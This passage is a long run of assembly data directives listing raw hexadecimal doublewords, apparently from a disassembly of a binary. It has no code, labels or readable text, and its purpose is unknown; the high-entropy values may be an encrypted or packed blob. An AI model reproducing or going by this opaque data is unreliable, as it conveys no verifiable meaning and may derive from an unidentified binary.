96215CC3h, 13EC95A9h, 0ACFCE105h, 64901E0Ch, 94361Ah dd 3CCCE779h, 724DF9E6h, 0C690C31Ch, 18EC7C2h, 2DB8E083h dd 462A069Ch, 4A1D5C3Eh, 0B5B48F00h, 0C88263A9h, 6BB0A027h dd 64A50E32h, 56A08168h, 423A0686h, 690D6500h, 0CDA3DE7Fh dd 9D3C00F5h, 0AF64EC94h, 0E1FAEF6h, 6E024291h, 0C097B393h dd 0CA5F94h, 5E17FE96h, 863B12C6h, 1BE18700h, 0A637206Ah dd 49D50B2Ch, 4500AB68h, 41A47147h, 0D1570D00h, 50B348CAh dd 0FCAD3DDDh, 2D80C93Ah, 7C527B1Dh, 2E074C91h, 13740C69h dd 1FEC1140h, 348D00EBh, 58932802h, 3003954h, 5677250Eh dd 0A6FBE2h, 4D9D7C53h, 5409A28Fh, 0CB27B90Fh, 186CA0F6h dd 3810C6D4h, 0FF1CF9E5h, 6F58400Ah, 89F18E8Fh, 9EB8BC00h dd 0DC4BD3DEh, 13870EE4h, 0A540F807h, 113E32FAh, 81B4643Bh dd 562BF002h, 0C1C05B6Eh, 87CF07D9h, 9014EA9Fh, 1CC5AE1Ah dd 0B0347B05h, 5490C2B8h, 0D6EFEDh, 0AFE9619Dh, 1B29DF02h dd 4BACCE00h, 0C1E542F7h, 0E6720390h, 0B1C0313Ch, 9166DFC0h dd 8B078CECh, 0C73BA7A9h, 2B039460h, 0ECC950D1h, 0D0BD07F0h dd 0F0AEF70Eh, 8917A3E8h, 4AD42001h, 390F63F3h, 0FC7EC07Bh dd 0DA65382Bh, 80BACD11h, 4478E84Dh, 0EB94180Fh, 0B363E0EDh dd 0C3E7B7h, 0DC0DD4EAh, 96157C2Dh, 2507580Bh, 0BE29086Fh dd 48CEC801h, 0A520BA53h, 5A2C0E2Ah, 3840A1BBh, 11C58431h dd 3DAA3019h, 82C4DF70h, 43453CFCh, 0A1A7BE80h, 8FF5DCE2h dd 7A9AB200h, 685B676Eh, 0E95E00E7h, 962C4309h, 0F7121BBAh dd 0C0018B6h, 31E2B9FEh, 0E84601DBh, 0C8790787h, 0F5C7FC5Ah dd 0E6EB9600h, 0AA5299BBh, 0D22C0174h, 0A939D925h, 0E0D1D01Eh dd 306103Ah, 917BDF04h, 7DC9E075h, 827700F5h, 0AAF20964h dd 153C96A9h, 6848FEh, 5EB35A63h, 1E66D8FAh, 4CB44944h dd 1910F9D1h, 7C0E807Eh, 0C90AE4F8h, 6A1A8003h, 0B0C16B5Bh dd 0A78F0E84h, 0DC67DF7Fh, 0A315E012h, 4F00AE7Ch, 574CE46Ah dd 67241Ah, 0B073B210h, 8DE7A2FDh, 0D4503D00h, 60812904h dd 57E60025h, 8C222FA8h, 1EB0FF5Ch, 5D0D1500h, 0EE6F8B7Ah dd 74CB0056h, 2043C1E9h, 8EE6A6ECh, 3372900h, 501C8D1Ah dd 484C007Fh, 0D9EC98AAh, 9100AEA9h, 0FB6EEF52h, 796EDDEh dd 87628D9Bh, 459F806Ah, 0AE00D2B3h, 51FC9122h, 0A27C77h dd 0A96D5A7Ah, 0D3063E92h, 0DF33FEA1h, 0D6097BE0h, 80262A3Ah dd 7660C1C3h, 262EBD0Fh, 5A85CDh, 0EF83C28Dh, 0A60007F9h dd 0FED3FA56h, 47D1F2h, 1988538Ah, 667AAC4h, 4AA2B300h dd 3117D49h, 0D3800086h, 0DFCE3DEFh, 0C100AC60h, 1593F90Dh dd 57B169h, 0B8F1EC17h, 0F8BDB7BAh, 3F8E4200h, 9AB7C87h dd 630D0039h, 69062F2Dh, 0AF071E22h, 2EDB30B1h, 794B0200h dd 13F2004Ch, 0F64304D0h, 0F500727Dh, 73786EA2h, 0D298BBh dd 3DFD86F2h, 0CA664F8Fh, 13B9EB00h, 238C1DEh, 87175CC4h dd 0B2FA6B00h, 34C95C59h, 4C2F9700h, 29C3DAD1h, 4CB8E0h dd 7F8F0D72h, 0DE7946B8h, 89D068C0h, 5913F7h, 60A4F0EDh dd 0D9A16393h, 0D762F300h, 0EE270905h, 40FEFBD1h, 0A39B6Ah dd 0F8645D0Ch, 923B73DBh, 3D00D6FAh, 0E6E55B05h, 7A6884h dd 315D96FDh, 5C132206h, 0E166DD00h, 0E4B4345Eh, 2F330063h dd 1B0BD90h, 0FA7AD5ADh, 4C511C00h, 412099ECh, 2DD6008Eh dd 0C1BBEDDBh, 6407E089h, 1323B80Ch, 0F8D35B83h, 0D69201h dd 33A11061h, 0A6C9E4A4h, 0E7489409h, 82688DEAh, 384390D7h dd 0AD3E0129h, 9E4511CEh, 0E82080E7h, 18A035C3h, 522E0006h dd 34F55E95h, 0E600FDD7h, 0B0C6685Ch, 3C20CEh, 0F367FC92h dd 0B68D5150h, 0F2D44912h, 0E6BD70C0h, 0DF4A0F0Eh, 5F073AF1h dd 94A7B965h, 0AA85319Dh dd 78118190h, 3F7A1336h, 32B458h, 7588FBACh, 0C334F970h dd 8CA6F400h, 0F04E46D1h, 5F550038h, 0FBC889B2h, 0E000C734h dd 0B40795FEh, 4A361Fh, 0AE931EE1h, 0ABCBA386h, 6B3AC400h dd 9D846917h, 79800066h, 9FE3EBAFh, 0E900AD8Ah, 0EA9A815Dh dd 1E4AECFh, 2C55FD8h, 2897DADBh, 0E9D00068h, 1D1BD61h dd 0FCD500DFh, 1A2A1D80h, 49E043D7h, 8155E500h, 0FFAF4B7Ah dd 0A5F600BFh, 90D229F0h, 99F2A874h, 0F2348C00h, 109501FEh dd 4890D5h, 0F428CEE3h, 0D84BC53Fh, 1840BF30h, 0F8CDF9h dd 8F50DFB1h, 0E49E6322h, 3514CF04h, 0F100BBCCh, 28D6A5E2h dd 4AB44EC0h, 6AFA59h, 9211650Ch, 50DDC4F8h, 0E6FE7077h dd 23400896h, 136B8CDh, 4633AE54h, 9EC848FBh, 0B9F9B11h dd 4C22788Ah, 8A5ABE1h, 7900EC2Ch, 1A33D399h, 4A02D041h dd 0ABFA7858h, 1858FFh, 7DB4106Dh, 0B9191730h, 2AA1A324h dd 0B680871Eh, 7B52F886h, 0BCCD00BAh, 0A52819E4h, 941841E3h dd 0BB70AD6Fh, 0FAA74CACh, 0D0B80D12h, 6CDEB444h, 63A04254h dd 31717630h, 0A98283h, 461BBBD4h, 41C44F9Fh, 89D4C00h dd 3B53A3BDh, 0D96B0009h, 680F92D3h, 4FB8F35Dh, 0BF461A0Ch dd 430C301Fh, 9506DD9Ah, 2061DF4Ch, 0AC1D355Fh, 0CC0AC68Eh dd 0F5581CAEh, 0BE421083h, 37F0CC2h, 0C53630C3h, 2CA08C40h dd 0C008BF1Ch, 0CB797DCh, 0FBA1B01Fh, 806CC356h, 0AACA1E56h dd 45150270h, 80C683Fh, 0DC6F10AEh, 0DF8CABA8h, 568C50F8h dd 24C1482Eh, 10AFCCECh, 0ADCEEBFFh, 29F1017Ch, 0BC4C76h dd 0A0CCEF9Fh, 0ADC93998h, 0E4A20360h, 392B4FECh, 0C00310BFh dd 0AF26E20h, 0D76D5FC1h, 0B7E7F0DCh, 7F2840FBh, 30DACDBDh dd 0F4603438h, 0A87A050h, 1F450113h, 2C41CBC7h, 2AA85C59h dd 0C8143970h, 68B81693h, 7FF0A458h, 0B029185Ch, 6CDF580Eh dd 8088D757h, 67D4707h, 0FF60C25Dh, 46015C1h, 0ECE8112Bh dd 64ADC9ECh, 0B40FC01h, 409F55D5h, 34DE029Fh, 0F8BECF4Ch dd 6E39350Eh, 0BFA81840h, 2A2E00F7h, 0A573C8FEh, 0A6007F55h dd 3E051CF1h, 0FCC17Bh, 86F4AD84h, 0A4112D81h, 0DE1D4507h dd 9E435846h, 0BE401028h, 0BCCCF0C5h, 12A003CEh, 0B8312D7Eh dd 0E95E380Eh, 0AFE835Ch, 0D748185Bh, 2FDB1818h, 0DA7E2A14h dd 84B5B028h, 802C3071h, 8AEAD190h, 9EBE1E01h, 0CC3E2A42h dd 65001C4Bh, 30E13559h, 46FA2E85h, 7ECFD206h, 3C08C014h dd 5E00C39Ah, 3E1E85BCh, 8CAF4272h, 19A87C07h, 91008114h dd 0DE183F83h, 88633128h, 185F8E3Ah, 1E08AE5Eh, 0CFCD3ECEh dd 0FE60C67Bh, 282009D8h, 86C62089h, 1F83E520h, 0ACFC144h dd 0F0B042BFh, 82189578h, 0B1D82DD4h, 199A0C14h, 0DE40DB9Eh dd 48D10533h, 37E07CA4h, 9808C4F0h, 809B303Eh, 0F9C782BEh dd 388AEED5h, 3A8CA05Eh, 14946B28h, 0D85431BEh, 45107037h dd 53A04777h, 20BEC355h, 9C3A4878h, 0B028759Bh, 0EE65EC57h dd 0FC037421h, 1876933Eh, 18437C08h, 8C448C2h, 3B091532h dd 9E7E0801h, 5C77016Ah, 5F02088Ch, 8C70318h, 10DC7A1Eh dd 3644928Ah, 30517630h, 20C6E4F8h, 0F810611Eh, 0C28DF22h dd 0F20879B8h, 0AE887566h, 0CCEFE810h, 0DE284539h, 38CC1890h dd 661E90AEh, 0A1D4413Fh, 8DF5DE0h, 58782E92h, 0C8040987h dd 8000379Dh, 198DA251h, 0C8A3B1FCh, 0D3CBFFD1h, 405EC2h dd 2F4969DEh, 6DB2E064h, 71984446h, 187FD802h, 4080739Eh dd 0F07D4540h, 116E677Eh, 3E826FAAh, 0D1067FC0h, 63253131h dd 0D35E5CB8h, 205DE391h, 10C48754h, 1C871DDEh, 5C93C984h dd 49A0747Bh, 91F08CA2h, 0A830CDF6h, 6B11A02Fh, 268AD34h dd 0EED636E3h, 0A331A448h, 0E3377E40h, 81877C27h, 332DE222h dd 7793D100h, 4C10A9F0h, 40FED5DCh, 5250F130h, 71245E88h dd 0C51580CEh, 94A724B8h, 1084598Ch, 20D264B1h, 5E20816Ah dd 0FEF4439Fh, 0DE5080ACh, 62817684h, 83B31024h, 5449DFE2h dd 14119290h, 37345844h, 83B109Eh, 988D3895h, 0BE16910Ch dd 3F64AA80h, 89FFAB0h, 0A90D0404h, 45B14589h, 0EEFD1030h dd 617661E6h, 43EB9C51h, 32C788ECh, 0E8BE835Eh, 0C3782C04h dd 710F36D7h, 1E29BF82h, 9DFE7468h, 612B609Ah, 9EC1D82Fh dd 81F82E65h, 4D24B080h, 0E0F3F467h, 31082A1Bh, 0B5E69878h dd 1F1E3B19h, 878F88D7h, 9A86E823h, 72D16801h, 8C9E1EB2h dd 44DE0885h, 0E1786931h, 38F2D3C6h, 0D919A60Fh, 0D77A25A8h dd 0D6740F78h, 0CAD4FE14h, 0A0152CD4h, 30E0DCF8h, 91F97E69h dd 9498A1ECh, 0F0700649h, 615169A7h, 9CB189A4h, 0A3BC31F2h dd 0A7C19CC0h, 91D28071h, 70BF4AF8h, 20805728h, 0A08D437Eh dd 4C1F938Eh, 577141FAh, 75C3984Eh, 2BF2B52Ch, 0DDE91101h dd 64FF609Eh, 0E4540990h, 0E8F97082h, 864E3C40h, 80DB90C6h dd 7BD22420h, 36D80A98h, 9782D888h, 0D000E4F0h, 32963390h dd 99DD06h, 8B7DF4BFh, 0B4D2639Fh, 861EFCE9h, 74213F4Ch dd 388A1F1Eh, 0A8F1F3Eh, 836FDF06h, 40E70038h, 144CE6FEh dd 0B7002DD3h, 8782E87Ch, 709F979h, 92963CEFh, 0FF99A142h dd 3B184BFDh, 37D411F2h, 0C21B7200h, 0F6A5FF9Ah, 0FA1E68DCh dd 0AEEF5F00h, 0C4511F8Bh, 3CF93F50h, 20547571h, 0D218EEDEh dd 5B40C7BEh, 0D850DDFBh, 80F248AAh, 0F6437FF0h, 0DED915C0h dd 0D095644Dh, 0E9D10034h, 0A39B7F9Ah, 0C361FF8Bh, 5B27BF08h dd 7C71DFE0h, 0AA7F105Ah, 0B06530A1h, 7CEAF73Fh, 308728B4h dd 333131ACh, 0F3F0CD08h, 41FCDCC1h, 0E0FF16BCh, 19C7F85Fh dd 0BFC1F5D3h, 1098FEC6h, 6F1F08E3h, 7F866604h, 0AE07448Eh dd 43FF8359h, 463F180Ah, 0E50FDCA3h, 0FABF83A5h, 2E283772h dd 10F1C620h, 31D3FF33h, 0BF4810DCh, 0B46E74FBh, 10582C61h dd 645F80DFh, 0DA083A64h, 0F5880893h, 13EA009h, 847B3F08h dd 0D0140894h, 24495F1Dh, 4263F114h, 0D4A1ADA9h, 9475D912h dd 0AFC7398h, 0B8E4F01Fh, 20739F10h, 0E83CA04Dh, 0A15F1DACh dd 0CAABE220h, 8ABCD418h, 0AF03FE6h, 0CACEC55h, 0FFE837C6h dd 0C99BACA3h, 33BAD4C0h, 1A197974h, 0A084204h, 0F847FA00h dd 0B85ACF10h, 7CBBDA10h, 1AF8337Eh, 7C069A88h, 24BA30FDh dd 0FF6E7A10h, 907018CEh, 0DA200F20h, 5C5A3746h, 383D4610h dd 3A901A00h, 6F1BE1ACh, 562C0789h, 0FE85BE06h, 7DB48860h dd 0D501C446h, 1AD09EB3h, 8988294h, 955A4029h, 743B8187h dd 2E61Eh, 0C575835h, 0EE4FDAD4h, 68635598h, 310C8CF0h dd 9A502118h, 0F66A1186h, 3D2960BFh, 0D876032Ch, 9918B1C1h dd 0FA481215h, 0DA40C52Bh, 5482C8Ch, 0D162AF08h, 0C1751FB6h dd 7EFAD08Ch, 407AD091h, 0BF2409C4h, 0C2802707h, 0A00C6FBAh dd 22D8A074h, 19CAFFAh, 30F2AE3Ch, 0BB55007Eh, 7ACE0E75h dd 0FA8770ABh, 0B0F32885h, 40E0C4D2h, 5A28B5A5h, 8178B883h dd 309AE139h, 4B994026h, 0F93A15D4h, 28429CFBh, 88F5EFC1h dd 95918634h, 31481221h, 0D258E384h, 9B088AFFh, 52D124FAh dd 22FE3C0h, 0F5C447D1h, 0B8BCFBFDh, 0B112D706h, 2B30DC65h dd 603086D5h, 3FA6CA33h, 0D435A9C2h, 930B4FCh, 446ABB84h dd 30470413h, 0FA1480CCh, 0C0DDAB27h, 96427590h, 0D7315AD0h dd 0FED808E0h, 0BCCFF441h, 907CFC41h, 1B7B443h, 768BFA08h dd 20A57AD4h, 0DB613AD0h, 0FCD79A10h, 413BE85Eh, 7C7B0508h dd 99E05501h, 4E713ACFh dd 128D0C43h, 1F221A70h, 32520F48h, 91190C9Eh, 9760B778h dd 0E17CA330h, 81CB317Ah, 0E0D9EFA8h, 4963231Ah, 0C452BB08h dd 0E2975880h, 94983A5Ah, 4F059A0Ch, 8A7CF1B8h, 0C4B63A2Bh dd 0DC3D02EBh, 0B5DCA769h, 67C42318h, 44916387h, 0D5953100h dd 403AE135h, 3C8AFFFh, 10D3B501h, 0F0F53915h, 0E39738C8h dd 0C1E723E0h, 94410F9Ah, 0A0201DFAh, 85F627Ah, 5C40C21Ah dd 9CA03DBAh, 8D62839Ah, 40F4FC40h, 0A16A91D4h, 0B05223D4h dd 5FECA260h, 4BF04085h, 3AE27CB3h, 0EA78B127h, 5FC0A1B7h dd 0E59A1887h, 8ADAC188h, 21A84287h, 453AB481h, 4F85EFFh dd 0EDB7AAD9h, 0BCD53490h, 2B8AFFFh, 6797A7E0h, 0CE351048h dd 15D05348h, 0A01CF6B1h, 44FA6050h, 0D34D1563h, 0BB6CC194h dd 898E936Fh, 0E1868F75h, 0E88F58FAh, 0AB404107h, 5502DAD4h dd 78B4F643h, 42781806h, 3D115515h, 660A2E8Dh, 23804BAFh dd 0E0EE0118h, 89190B3Bh, 2093520h, 0B6A8FA68h, 86A6064Ch dd 381EAEC1h, 8C3A1526h, 0F6BFBA04h, 5B03349Eh, 166E6465h dd 0CD75380Ch, 0AD0A709Fh, 0B43E816Ch, 247ADEFAh, 7106AEDCh dd 70595ACEh, 0C855808h, 0F8D44868h, 0C8189735h, 0B5800EA6h dd 0FA48C30Ah, 8297292h, 24407C03h, 4A8354h, 84F7430Dh dd 33C3B647h, 0B64DD01h, 531E0238h, 79262D0h, 0C699FC91h dd 9082C354h, 57761111h, 20783D85h, 0FFE21D18h, 7EEA34A8h dd 7CD76E10h, 6078BD18h, 18A59322h, 206F3481h, 9D01145Ah dd 0F8E20106h, 0D581020Fh, 2B49629h, 0A2021C7Dh, 0A7061E8Ah dd 535DB5D5h, 0CBC2E11h, 0A0DE9A68h, 208C383Ch, 0FC23CA00h dd 33DFE4AEh, 42A4A83Dh, 8209C07Fh, 0F19E890Eh, 87023Ah dd 0A543C0BCh, 40B32Bh, 0F5D26218h, 4CA4B931h, 8F3D9C01h dd 110218Ch, 38703099h, 41EFE5Eh, 3DC312AAh, 0AC10730h dd 94BE8703h, 3CA51E04h, 0F29A1DE4h, 8C8EC178h, 81201CE1h dd 870435A8h, 740FCEDEh, 0CB693408h, 4E810432h, 16A051Dh dd 0C7F7068h, 0D561A8B7h, 0F6E2A170h, 7AFE9B15h, 6CEB070h dd 0D1E2306Eh, 0F7154138h, 149E9B0Ah, 0A1D07001h, 0B713A4Ah dd 9361A8E0h, 3E159BFCh, 0A070027Dh, 0F7F9FF1Bh, 9701A853h dd 737E9B71h, 8D0EE05Fh, 36E82A06h, 5E387B98h, 8270AD8Eh dd 0C14233FBh, 0E28CA8AEh, 98FBBB71h, 0BEB87B40h, 785AE1C5h dd 0F63D5006h, 0E11049BEh, 2D2BF8E8h, 4F11E0E8h, 13EB1B82h dd 0FE800CEFh, 9F08FA36h, 27C5AE1h, 0C4BD0709h, 0F2A1032Fh dd 38BE7834h, 8C87C68h, 3D8F8714h, 0D3554105h, 74EBD00Ah dd 0B28160DAh, 33ECA416h, 0AE8F7A8h, 9CB0F128h, 7C481E68h dd 85C434D1h, 181C78Ah, 1B40BC47h, 2F9E48C2h, 0E37CB41Dh dd 0A3EA88EDh, 0A2D21B8h, 1D36BE40h, 784DD07Ch, 301DAF10h dd 0F6D1C108h, 0BAF0E611h, 0AE20DDC5h, 0A4E1283Ch, 419E15D4h dd 6CA07401h, 9F208557h, 4481283Bh, 0CF3E2B98h, 0B9F1E1ECh dd 1332E955h, 17393009h, 0D6485EE8h, 2798B4A1h, 0C8F2C070h dd 809F1E5Dh, 0FA666C41h, 26500B38h, 0F8549ABEh, 821574A7h dd 7F835E6h, 0DE895467h, 2E43EA9h, 0EAA880FBh, 0FE009298h dd 471E8953h, 0DC3BC09Ah, 409DD338h, 38CAAB92h, 0B7F0747Eh dd 6F501857h, 0F7C1389Eh, 135203EFh, 7C41BEF0h, 6DF87658h dd 409C0731h, 7894F3E1h, 76A8F0BEh, 3ABE8F24h, 0C6813831h dd 8CB93E01h, 88514509h, 0FE9CA010h, 0E447E3F4h, 9E09E0EAh dd 8E782667h, 0CF5E24A8h, 427E09A0h, 0BB02E8BEh, 8094504Eh dd 68740692h, 0F8B6BE37h, 0F0023D45h, 0BC042CFEh, 4155089Ch dd 31BB7AD7h, 63DEB8D5h, 98D03421h, 0E808CCD1h, 5E40BEB8h dd 0E980923Eh, 1E2012FBh, 99247C27h, 0B681CB24h, 0E0616833h dd 495E9C9Dh, 0D8F3243Eh, 24A995B8h, 0C461BC88h, 835F43A0h dd 0A80A0728h, 9803503Eh, 73F380F3h, 21494009h, 5961BB20h dd 4F1184DAh, 0DEA7E003h, 0A943B846h, 89B41230h, 9D7C6838h dd 0B99CE15h, 34E100B0h, 0A4FE875Bh, 249681B4h, 4E66BAA8h dd 0F808B790h, 20FA656Bh, 1EE4063Ch, 8C410995h, 0F88A1DF1h dd 11C84D9Eh, 0D5E67CFEh, 0BE3C88A1h, 8C382620h, 20D2AD8Ch dd 32F4987Bh, 1531755Eh, 477E70C0h, 8D81C4AFh, 80B5E793h dd 603E8100h, 0F2487090h, 1D9E3C38h, 0E13E9C91h, 4F6C5ED0h dd 9653B301h, 0AC49B810h, 21C82483h, 0D98D7897h, 6C9EA98Ch dd 0F467AC09h, 19C80CA0h, 53501953h, 0E808F2F8h, 11D12BBEh dd 0F8491083h, 9E327920h, 81350918h, 0FBA37E94h, 0F81A109Bh dd 0F0C904E2h, 0FE3889F7h, 3BC36F1h, 0BFA75290h, 0D890965Fh dd 3000B40Eh, 0A159217Eh, 0E1913FFh, 791E475Eh, 0B6B70A60h dd 0A500F98Eh, 8DF6853Ah, 188FEF52h, 406F0E9Dh, 7D0010D4h dd 1BF1D921h, 8EBF914h, 42391E46h, 228A4878h, 7400100Dh dd 3920E07Eh, 0E1F03E6h, 14020159h, 819678Eh, 5890B244h dd 0F6289409h, 6A24C098h, 0B1940EB3h, 0B91DBD05h, 646846F3h dd 4AEF0886h, 340C6C55h, 2BD938B0h, 4060A36Ah, 0B3387AE5h dd 0ED7C104h, 9FC06354h, 0AD49F399h, 80B31C54h, 0D86EB27Ah dd 7607E355h, 0ECA866EAh, 0E0406777h, 0AD2E15h, 215F24CFh dd 79D7A236h, 0F99CF000h, 56646FBBh, 46C0183h, 0FEE86866h dd 4EB1D065h, 0F8526778h, 0D4F6C020h, 0F6717EA7h, 9A30056h dd 76A87BB9h, 2829674Fh, 0C1601CF9h, 60FC57F3h, 35437875h dd 0E8016662h, 687CA960h, 10802F83h, 8869493Ch, 8C74BDEh dd 0C8834C5Ah, 0E89810B0h, 0BF70F0F2h, 0D98FE53Eh, 67E1BA63h dd 5E4F0588h, 0FBDD0288h, 3774C68h, 65C03B03h, 4F5708A8h dd 7E768184h, 3986748Fh, 709D2723h, 7CAC1B01h, 66365408h dd 0D18AB1D1h, 0F09055EFh, 3710ED20h, 0C3187018h, 0EA2838B5h dd 47C1E82h, 6391D2E2h, 0BEE30773h, 36C86751h, 29080885h dd 0BF800371h, 0C4E46665h, 0F6C3BE99h, 38580E88h, 0BA857C93h dd 1AE407B8h, 0D90840BDh, 28376631h, 44C40814h, 53CC8802h dd 1F0264B4h, 0DC5BFB23h, 0BA304063h, 7668CE70h, 74353838h dd 8B3B08C5h, 0A858980Dh, 0C36045D0h, 7CA6EF70h, 785465A7h dd 0C21AEC0h, 2AA30C17h, 0DC06C850h, 82A5E418h, 4F251E08h dd 0C6050419h, 0DF830E1Ah, 0AC558500h, 3A65EFh, 6EC5E3BCh dd 5DD0977Eh, 3CDC7D00h, 1453E9A4h, 0A738006Ch, 0DFABFE4Ah dd 49DD6B26h, 45EFA800h, 0F0EDEAD4h, 318978AFh, 85502FA5h dd 30020F61h, 0E0D8479Dh, 39E0602h, 4808D065h, 6287B285h dd 3B1E6745h, 2E02EEC0h, 66DFAC2Ch, 0F8003763h, 5E55467h dd 0E9E3B748h, 42096F6h, 892E1076h, 58460027h, 0D145E41Eh dd 96E08838h, 34B05ACDh, 0CCA638C6h, 0B6E02B79h, 0F6E14F7Ch dd 852135F2h, 0B7398638h, 8A27068h, 2D08D1FEh, 0EFD6E600h dd 56E2E5E3h, 0D7816CB6h, 105A5206h, 0CAF05FC6h, 0D86C2C30h dd 0E476155Ch, 32269140h, 64A0F3B6h, 0BC25F481h, 0B18099FEh dd 0A021A508h, 8BE9D401h, 7FEC05D0h, 4859E263h, 6B0F0C3Ah dd 3886EEDEh, 23C08DBh, 0B6850FD7h, 8EA583CCh, 9A1030B1h dd 0DAA96508h, 0A88110C0h, 635DE5E4h, 0B49338B6h, 0DD58C5E0h dd 0FF3AED7Ch, 2D451BBFh, 94DBE108h, 57926820h, 5082C0B7h dd 194312BFh, 5B06E00Ch, 63E670EAh, 0E84708E9h, 0F7A025C0h dd 95629C90h, 0BE2C45B0h, 0D5BA0D4h, 6659C6B0h, 451250D0h dd 0C0407ABh, 0B480A942h dd 0E8E55EBAh, 2508C6A0h, 9EE860D0h, 31EDC63Eh, 3205C8B0h dd 57C05C27h, 31A5F08Ch, 0A1A6F688h, 0F05F92D0h, 0CFC4E202h dd 0A6021FC6h, 85006042h, 0E0D8934Bh, 46C6E216h, 8632B492h dd 4F4171FBh, 0BEDD83D0h, 0A909CA0Ch, 2A77FE6h, 41AE380Ch dd 0F188B118h, 99F0BBE3h, 0F8EB10F0h, 0FC60A94h, 0C80CF808h dd 9B964004h, 0CAF9E060h, 2F2012D8h, 806E4CACh, 40C7E518h dd 80AF9D65h, 0D4FE1081h, 6002096h, 4C90D341h, 0A540C962h dd 484BE9Bh, 98BFCCB1h, 8166034Ah, 0AE78240Ah, 0B2C50A10h dd 5D243A8Ch, 0E5250714h, 5FA42D0Ah, 26002F4h, 3337790h dd 58188A46h, 1999FBC5h, 61D09093h, 2785581Fh, 676C203Dh dd 31D46048h, 0BDC3099Ah, 0BB2BC0BFh, 52B0C0A4h, 0E8A8D4ACh dd 70CE73A6h, 0A0BBCAE5h, 10B811F0h, 189265D8h, 0A5F09C86h dd 839CAF4Ch, 23C77535h, 4FE63911h, 8C8D3F20h, 0E28B0681h dd 0C6002D86h, 6CADBE80h, 593E9B01h, 11BEA704h, 0C5B32786h dd 1B314187h, 4DAAE84Eh, 508F3820h, 5612B0A0h, 0BF807CBAh dd 88E8F0D5h, 0B2B22680h, 0C87B4D14h, 6F17413h, 8F407A8h dd 0CC82648h, 8A6A345h, 7B349075h, 98924825h, 938C7626h dd 0C53903C1h, 0D814FECFh, 1FEC7898h, 1DFE5697h, 263C55E2h dd 0D824CCAAh, 8C30837h, 3E181861h, 39D188F5h, 0B4370C90h dd 0A3760834h, 0A338EE28h, 0C808CB4h, 8DB9F965h, 0BE912680h dd 3C6DD60Dh, 5F0E080Ah, 0C8002E67h, 0E15487CBh, 35B7C90Fh dd 0AF08194Ch, 81E87500h, 7F5B900h, 0AD15B83Ah, 9ACF01FEh dd 0E80FFD4h, 2B51816Eh, 9D054062h, 0BAABF400h, 0DD15B70Ah dd 0EDD11C3Eh, 0C05028C4h, 0C5E99489h, 0DC62D5B7h, 1EAB5538h dd 7336CB04h, 3406F2CCh, 9521A06Ah, 277AE0A5h, 9741676Ch dd 188260FCh, 380395B9h, 8387ACD5h, 0D6D76F6Ch, 37405F4h dd 18CA847Ch, 99B38358h, 0B9EE2414h, 68D8152Bh, 51C04F61h dd 64B4C848h, 507538D9h, 8287F26Ch, 0A5F342A1h, 0D80321E4h dd 0A06D8B75h, 0A1C669D5h, 80CE62C4h, 0B8DA80ACh, 399D3A75h dd 6095B51Bh, 0F8847AC7h, 10299593h, 0DF0DF079h, 0BEF638C2h dd 0D0F51FF0h, 4409A14Fh, 0B52C0FECh, 8683F088h, 0D9FC61C4h dd 0BBE91334h, 0A8BF32C8h, 4F8BE6Bh, 1156E054h, 2D249C8h dd 0B6335568h, 37347874h, 50799774h, 55B620E6h, 180D893Ah dd 1510BDB5h, 6975808Ah, 0E8D508C4h, 1AB55C81h, 6795B441h dd 2875088Ch, 0DD48F518h, 0DC351B88h, 0C49AC708h, 8BBD50Ch dd 451D2855h, 3C0531A8h, 2382008h, 48DE2557h, 12F80DD4h dd 0CA7310A3h, 0EC1424FCh, 3A01D584h, 0FC04A89Fh, 6DAE912h dd 4538E7B4h, 6B41BB5h, 0FD0B5372h, 8E541839h, 0CA0670CEh dd 0F27380A1h, 84CC6D02h, 509245E0h, 0C2C04372h, 8A043E30h dd 0FB47C46Dh, 5058F40Fh, 0C4931995h, 0B06210E0h, 9484A8A5h dd 9590C664h, 0D5330835h, 1372495Dh, 4C1B1508h, 55084D08h dd 0CF981F57h, 0A32E06F5h, 0B343799h, 3B63B258h, 360898BCh dd 0BF7FDCE0h, 0E0801EABh, 6F84BA5Dh, 2474DF40h, 15DC5E21h dd 97F08006h, 7E625B9Ch, 82461439h, 406CB5BCh, 9802354Ch dd 0F9D5240Ch, 0EE950950h, 39CB4422h, 0D092F204h, 484BE06h dd 96A8D1B9h, 0B2B403DEh, 3440245Bh, 35F50994h, 80A6A024h dd 1F22B500h, 0D744A090h, 0E030930Ch, 96F181F7h, 0AD31DE44h dd 5074A67Ch, 0E70A1A02h, 84CCBF85h, 40F7430Ch, 2044987Bh dd 0C082D1F5h, 0E2802815h, 0F3D92E92h, 0CE14196Bh, 2052F985h dd 3D575598h, 2F90D8E8h, 20FC5287h, 90285414h, 61D3F50Ch dd 0F8629140h, 40965108h, 0B2837C94h, 1508DFC4h, 0A8F69C35h dd 308EDAEEh, 86935F4h, 0D1EFB97Dh, 0C7C20B6h, 25D0EA50h dd 46E78CA3h, 15282832h, 0D5E098D6h, 36BBF3E9h, 34DBB2E7h dd 2768F041h, 37F0D810h, 94208E88h, 3F1520C7h, 6665753Dh dd 37901AD8h, 0C2086435h, 5C40883Ch, 70CBEB61h, 10023FDh dd 250818C0h, 84AE207Fh, 0F528DC90h, 0FD6BC419h, 0C08CF708h dd 8C441C8h, 55032D15h, 10362F16h, 6636D87Ch, 10C71833h dd 344077F8h, 12C8980Bh, 79399195h, 9EB8013Ch, 40341CE0h dd 3E5455E7h, 9351F3ECh, 0BCA8F9B8h, 0C086FF0h, 20F5E80Ah dd 8F51E9CEh, 0E886F3C4h, 0E9C87890h, 8D15065Dh, 47593877h dd 1B3C1934h, 0D88C6608h, 95C01A55h, 54D54A20h, 0DE8FDCADh dd 0CA508A08h, 28AE19E8h, 0E15C22F5h, 0D41C490Fh, 489862ECh dd 0D0DC1055h, 9D01D929h, 0FDD78EDCh, 3DE1216Dh, 7DF026FDh dd 38B97C52h, 0D8BCD01Dh, 7CF4D1Dh, 81D5BEFDh, 99C8283Dh dd 0DB09B310h, 0EF4000C7h, 1E3F6FB0h, 0DCFF20A1h, 8B38A9ABh dd 80BE8034h, 73B40D05h, 276D006Eh, 0D936251Ch, 4A664CDDh dd 0E141F708h, 61FD509Ch, 0F8BB54E0h, 110646F2h, 8D2038BCh dd 0B0FEFD31h, 508A019Dh, 7850F7BDh, 28A6AA8Eh, 32915C14h dd 0BE2E0394h, 14361DD8h, 4CF67D48h, 1CF048F1h, 282E02FCh dd 33301DD9h, 7680AF07h, 0C0929BF4h, 774ABF08h, 548050D4h dd 204E7891h, 0F412F814h, 760C411Ah, 9410C2h, 14765492h dd 16C0294Bh, 8F1ABA0Fh, 624208Ah, 0AD9062h, 86A15C61h dd 0E6CA4A1Bh, 